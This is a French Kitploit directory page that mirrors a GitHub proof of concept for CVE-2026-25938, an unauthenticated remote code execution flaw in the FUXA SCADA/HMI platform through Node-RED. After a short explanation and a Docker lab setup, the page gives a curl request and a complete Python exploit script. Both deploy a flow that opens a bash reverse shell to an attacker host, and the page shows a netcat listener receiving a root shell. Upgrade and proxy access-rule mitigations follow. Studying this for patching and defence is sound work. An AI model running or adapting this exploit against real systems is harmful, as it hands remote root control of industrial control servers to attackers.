Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25938-FUXA-Unauthenticated-RCE — Une explication et un PoC pour exploiter la vulnérabilité CVE-2026-25938 de RCE non authentifiée sur FUXA | Kitploit
Outils/GitHubGitHub/judgedbykira/cve-2026-25938-fuxa-unauthenticated-rce
Sécurité IoTAnalyse des VulnérabilitésExploitationSécurité SCADA/ICSExploitation d'Applications WebSécurité WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubjudgedbykira/cve-2026-25938-fuxa-unauthenticated-rce

CVE-2026-25938-FUXA-Unauthenticated-RCE

Une explication et un PoC pour exploiter la vulnérabilité CVE-2026-25938 de RCE non authentifiée sur FUXA

Voir le dépôt
18il y a 28 joursPas encore vérifié

CVE-2026-25938 - RCE non authentifiée dans FUXA

1. Qu'est-ce que FUXA ?

FUXA est une plateforme SCADA (Supervisory Control and Data Acquisition) et IHM (Human-Machine Interface) gratuite, open-source et basée sur le web, utilisée pour l'automatisation industrielle, l'IoT et la visualisation de processus en temps réel. Elle permet aux utilisateurs de créer des tableaux de bord personnalisés et de surveiller les machines directement dans un navigateur web, sans nécessiter de logiciel propriétaire coûteux ni d'éditeurs de bureau lourds.

2. Explication de la vulnérabilité

CVE-2026-25938 affecte les versions 1.2.8 à 1.2.10 de FUXA lorsque l'intégration Node-RED est activée (elle l'est par défaut). La vulnérabilité provient d'un contrôle d'authentification insuffisant sur les fonctionnalités qui exposent les capacités de Node-RED, permettant à un attaquant distant non authentifié d'accéder à des opérations qui devraient nécessiter une autorisation, comme la création de flux, dont l'un permet d'exécuter des commandes sur le système. Étant donné que Node-RED peut exécuter des flux avec les privilèges du processus FUXA, ce contournement d'authentification peut finalement conduire à une exécution de code à distance arbitraire sur le serveur sous-jacent. Le problème est corrigé dans FUXA 1.2.11 et versions ultérieures.

CWEs

  • CWE-306 — Absence d'authentification pour une fonction critique
  • CWE-290 — Contournement de l'authentification par usurpation

TTPs

  • T1190 – Exploitation d'une application exposée
  • T1059 – Interpréteur de commandes et de scripts

3. Création du laboratoire

Nous allons exécuter un conteneur Docker utilisant une version vulnérable de FUXA, en l'occurrence la version 1.2.8 :

root@kitploit:~
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8

4. Preuve de concept

Le payload suivant déclenchera un shell inverse vers l'adresse IP spécifiée dans le nœud exec en abusant de la vulnérabilité :

  • Le nœud tab créera un flux appelé "RCE".
  • Le nœud inject se déclenchera automatiquement lors du déploiement. Tout cela grâce à ces paramètres "once": true et "onceDelay": 0.1
  • Le nœud exec exécutera la commande que nous voulons exécuter, dans ce cas le shell inverse. Elle est spécifiée dans "command": "bash <snip>".
root@kitploit:~
curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: full" \
  -H "Referer: http://192.168.1.201:1881/editor" \
  -d '[
    {
      "id": "tab1",
      "type": "tab",
      "label": "RCE",
      "disabled": false,
      "info": ""
    },
    {
      "id": "inject1",
      "type": "inject",
      "z": "tab1",
      "name": "",
      "props": [{"p": "payload"}],
      "repeat": "",
      "crontab": "",
      "once": true,
      "onceDelay": 0.1,
      "topic": "",
      "payload": "",
      "payloadType": "date",
      "x": 150,
      "y": 100,
      "wires": [["exec1"]]
    },
    {
      "id": "exec1",
      "type": "exec",
      "z": "tab1",
      "command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
      "addpay": "",
      "append": "",
      "useSpawn": "false",
      "timer": "",
      "winHide": false,
      "oldrc": false,
      "name": "",
      "x": 350,
      "y": 100,
      "wires": [["debug1"], [], []]
    }
  ]'

Si nous créons un listener pour notre shell inverse, nous recevrons une connexion avec un shell root lors de l'envoi du payload :

root@kitploit:~
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#

5. Script PoC automatisé

root@kitploit:~
#!/usr/bin/env python3
import argparse
import requests
import sys
import json

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def exploit(target_url, listener_ip, listener_port):
    # Extract host:port from URL for Referer
    target_host = target_url.split("//")[1].split("/")[0]
    
    # Build the full endpoint
    if not target_url.endswith("/"):
        target_url += "/"
    endpoint = f"{target_url}nodered/flows"

    # Payload for the exploit
    payload = [
        {
            "id": "tab1",
            "type": "tab",
            "label": "RCE",
            "disabled": False,
            "info": ""
        },
        {
            "id": "inject1",
            "type": "inject",
            "z": "tab1",
            "name": "",
            "props": [{"p": "payload"}],
            "repeat": "",
            "crontab": "",
            "once": True,
            "onceDelay": 0.1,
            "topic": "",
            "payload": "",
            "payloadType": "date",
            "x": 150,
            "y": 100,
            "wires": [["exec1"]]
        },
        {
            "id": "exec1",
            "type": "exec",
            "z": "tab1",
            "command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
            "addpay": "",
            "append": "",
            "useSpawn": "false",
            "timer": "",
            "winHide": False,
            "oldrc": False,
            "name": "",
            "x": 350,
            "y": 100,
            "wires": [["debug1"], [], []]
        }
    ]

    headers = {
        "Content-Type": "application/json",
        "Referer": f"http://{target_host}/editor"
    }

    try:
        response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
        if response.status_code == 200 or response.status_code == 204:
            print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
        else:
            print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
    except requests.exceptions.RequestException as e:
        print(f"{RED}[-] Error occurred: {e}{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
    parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
    parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
     _____ _   _ _____       _____  _____  _____   ____        _____  _____  _____  _____ _____ 
    /  __ \ | | |  ___|     / __  \|  _  |/ __  \ / ___|      / __  \|  ___||  _  ||____ |  _  |
    | /  \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| |    / /\ V / 
    | |   | | | |  __|______| / /  |  /| |  / /  | ___ \______| / /      \ \\____ |    \ \/ _ \ 
    | \__/\ \_/ / |___      ./ /___\ |_/ /./ /___| \_/ |      ./ /___/\__/ /.___/ /.___/ / |_| |
    \____/\___/\____/      \_____/ \___/ \_____/\_____/      \_____/\____/ \____/ \____/\_____/
                                                                                                                                                                           
    """)
    print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    args = argparse_setup()
    banner()
    exploit(args.url, args.listener_ip, args.listener_port)

if __name__ == "__main__":
    main()

6. Atténuations

Mettez à jour si possible vers une version égale ou supérieure à 1.2.11. La vulnérabilité est corrigée dans la version 1.2.11.

Si la mise à jour n'est pas possible, vous pouvez faire ce qui suit :

1. Apache .htaccess

Si vous utilisez Apache comme point d'entrée de l'application. Cela ne fonctionnera pas si Apache ne peut pas voir l'IP du client en raison du NAT, du proxy Docker, etc.

root@kitploit:~
<LocationMatch "^/nodered/">
    Require ip 127.0.0.1
    Require ip ::1
    Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>

2. NGINX

Si vous utilisez NGINX comme point d'entrée de l'application. Cela ne fonctionnera pas si NGINX ne peut pas voir l'IP du client en raison du NAT, du proxy Docker, etc.

root@kitploit:~
location /nodered/ {
    allow 127.0.0.1;
    allow ::1;
    allow <TRUSTED_MGMT_CIDR>;
    deny all;
}
Télécharger l’outil